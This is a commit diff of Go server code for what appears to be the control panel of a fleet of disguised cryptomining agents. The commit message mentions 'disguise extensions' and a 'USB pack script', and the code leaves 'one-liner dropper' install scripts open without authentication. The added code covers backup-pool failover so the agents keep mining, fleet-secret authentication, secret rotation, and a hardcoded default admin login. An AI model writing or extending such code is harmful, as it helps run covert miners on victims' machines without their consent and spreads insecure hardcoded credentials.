feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired
This commit is contained in:
@@ -10,6 +10,16 @@ type AgentForgeConfig struct {
|
||||
AIEnabled bool
|
||||
AIOllamaEndpoint string
|
||||
AIModel string
|
||||
// BackupPools are tried in order if the primary pool is unreachable.
|
||||
BackupPools []AgentBackupPool
|
||||
}
|
||||
|
||||
// AgentBackupPool is a fallback pool config received from an agent at auth time.
|
||||
type AgentBackupPool struct {
|
||||
Host string
|
||||
Port int
|
||||
TLS bool
|
||||
Pass string
|
||||
}
|
||||
|
||||
func (c AgentForgeConfig) poolHostOrDefault(fallback string) string {
|
||||
|
||||
@@ -21,8 +21,31 @@ var (
|
||||
authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
|
||||
usersFilePath string
|
||||
usersMu sync.RWMutex
|
||||
|
||||
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
|
||||
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
|
||||
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
|
||||
fleetSecretForAgentPaths string
|
||||
fleetSecretForAgentPathsMu sync.RWMutex
|
||||
|
||||
// rotateSecretFn is called when POST /server/rotate-secret is hit.
|
||||
// Wired from main.go so the server can generate, persist, and propagate the new secret.
|
||||
rotateSecretFn func() (string, error)
|
||||
)
|
||||
|
||||
// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
|
||||
// X-Fleet-Secret headers on /api/v1/agent/* routes.
|
||||
func SetAgentPathSecret(secret string) {
|
||||
fleetSecretForAgentPathsMu.Lock()
|
||||
fleetSecretForAgentPaths = secret
|
||||
fleetSecretForAgentPathsMu.Unlock()
|
||||
}
|
||||
|
||||
// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
|
||||
func SetRotateSecretFn(fn func() (string, error)) {
|
||||
rotateSecretFn = fn
|
||||
}
|
||||
|
||||
func loadUsers(dataDir string) {
|
||||
usersFilePath = filepath.Join(dataDir, "users.json")
|
||||
usersMu.Lock()
|
||||
@@ -58,15 +81,34 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
}
|
||||
|
||||
path := r.URL.Path
|
||||
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
||||
path == "/api/v1/health" ||
|
||||
|
||||
// Health check and download endpoints are always open.
|
||||
if path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
|
||||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||
// legitimately forged agents can call these endpoints.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||
fleetSecretForAgentPathsMu.RLock()
|
||||
secret := fleetSecretForAgentPaths
|
||||
fleetSecretForAgentPathsMu.RUnlock()
|
||||
if secret != "" {
|
||||
provided := r.Header.Get("X-Fleet-Secret")
|
||||
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
|
||||
http.Error(w, "Forbidden", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
}
|
||||
// Secret is empty (first run before config save) or matched — allow through.
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
user, pass, ok := r.BasicAuth()
|
||||
if !ok {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||
@@ -155,6 +197,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
|
||||
token := chi.URLParam(req, "token")
|
||||
if builderHandler.CancelBuild(token) {
|
||||
writeJSON(w, map[string]interface{}{"cancelled": true})
|
||||
} else {
|
||||
http.Error(w, "build not found or already completed", http.StatusNotFound)
|
||||
}
|
||||
})
|
||||
|
||||
// Blueprints (config presets)
|
||||
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
||||
@@ -162,6 +212,21 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||
|
||||
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
||||
// Forged agents with the old secret will be rejected until re-forged.
|
||||
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||
if rotateSecretFn == nil {
|
||||
http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
newSecret, err := rotateSecretFn()
|
||||
if err != nil {
|
||||
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
|
||||
})
|
||||
|
||||
// User Management
|
||||
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
|
||||
var payload struct {
|
||||
|
||||
@@ -310,6 +310,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AgentID string `json:"agent_id"`
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
Wallet string `json:"wallet"`
|
||||
BackupPools []struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
TLS bool `json:"pool_tls"`
|
||||
Pass string `json:"pass"`
|
||||
} `json:"backup_pools"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
Worker string `json:"worker"`
|
||||
@@ -360,6 +366,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
policy := h.serverPolicySnapshot()
|
||||
|
||||
backupPools := make([]AgentBackupPool, len(auth.BackupPools))
|
||||
for i, bp := range auth.BackupPools {
|
||||
backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
|
||||
}
|
||||
|
||||
forgeCfg := AgentForgeConfig{
|
||||
Wallet: auth.Wallet,
|
||||
PoolHost: auth.PoolHost,
|
||||
@@ -369,6 +380,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AIEnabled: auth.AIEnabled,
|
||||
AIOllamaEndpoint: auth.AIOllamaEndpoint,
|
||||
AIModel: auth.AIModel,
|
||||
BackupPools: backupPools,
|
||||
}
|
||||
|
||||
caps := models.AgentCapabilities{
|
||||
@@ -391,7 +403,28 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
poolCfg.Password = "x"
|
||||
}
|
||||
if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
|
||||
log.Printf("[WS] Failed to ensure forged pool for agent %s: %v", agentID, err)
|
||||
log.Printf("[WS] Primary pool unreachable for agent %s: %v — trying backup pools", agentID, err)
|
||||
connected := false
|
||||
for i, bp := range backupPools {
|
||||
if bp.Host == "" || bp.Port <= 0 {
|
||||
continue
|
||||
}
|
||||
bpCfg := poolCfg
|
||||
bpCfg.Host = bp.Host
|
||||
bpCfg.Port = bp.Port
|
||||
bpCfg.UseTLS = bp.TLS
|
||||
if bp.Pass != "" {
|
||||
bpCfg.Password = bp.Pass
|
||||
}
|
||||
if _, err2 := h.poolManager.EnsurePool(&bpCfg); err2 == nil {
|
||||
log.Printf("[WS] Connected agent %s to backup pool #%d (%s:%d)", agentID, i+1, bp.Host, bp.Port)
|
||||
connected = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !connected {
|
||||
log.Printf("[WS] All pools failed for agent %s — agent will mine when pool reconnects", agentID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user